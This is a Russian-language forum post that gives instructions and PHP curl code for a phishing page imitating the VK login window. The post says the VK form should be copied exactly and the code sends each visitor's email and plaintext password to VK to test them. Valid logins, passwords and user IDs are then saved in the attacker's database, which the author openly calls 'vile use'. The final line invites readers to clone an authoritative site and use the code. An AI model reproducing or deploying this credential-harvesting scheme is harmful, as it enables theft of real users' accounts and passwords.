Итак немного о curl: На своём сайте вы размещаем кнопку «Войти В Контакте», которая открывает перед нами всплывающее окно. Внешний вид этого окна должен полностью соответствовать виду окна авторизации «В Контакте» и поэтому его код рекомендуется получать каждый раз через curl с самого контакта и обрабатывать, просто заменяя адрес входа с контактовского, на свой. Данная форма входа действительно должна авторизовать пользователей на сайта, иначе она не имеет смысла. (на авторство не претендую)Для проведения процедуры авторизации, можно использовать вот такой код: $uid = null; $umail = strtr ($u['email'], array('@' => '%40')); $upass = $u['pass']; $curl = curl_init (); curl_setopt ($curl, CURLOPT_URL, 'Log in | VK'); curl_setopt ($curl, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7"); curl_setopt ($curl, CURLOPT_REFERER, 'VK mobile version'); curl_setopt ($curl, CURLOPT_TIMEOUT, 15); curl_setopt ($curl, CURLOPT_POST, 1); curl_setopt ($curl, CURLOPT_POSTFIELDS, 'email='.$umail.'&pass='.$upass.'&expire=&vk='); curl_setopt ($curl, CURLOPT_HEADER, 1); curl_setopt ($curl, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec ($curl); curl_close ($curl); if (preg_match ("#l\=([0-9]+)\;#si", $result, $uid)) $uid = $uid[1]; С его помощью производится авторизация на сайте. При этом, $u[’email’] — это логин пользователя, а $u[‘pass’] — его не зашифрованный пароль. Процедура авторизации в данном случае стандартна — если $uid будет больше нуля, значит логин и пароль введён правильно, если нет — то выдаём пользователю сообщение об ошибке. Все сообщения и виды окон обязательно нужно копировать напрямую с контакта. При успешной авторизации, логин, пароль и номер пользователя заносятся в таблицу пользователей сайта, откуда их и можно получать в дальнейшем, для своего гнусного использования. Буду рад дополнениям и критике +
Ваша задача только скопировать какую нибудь страницу авторитетного ресурса и использовать данный код )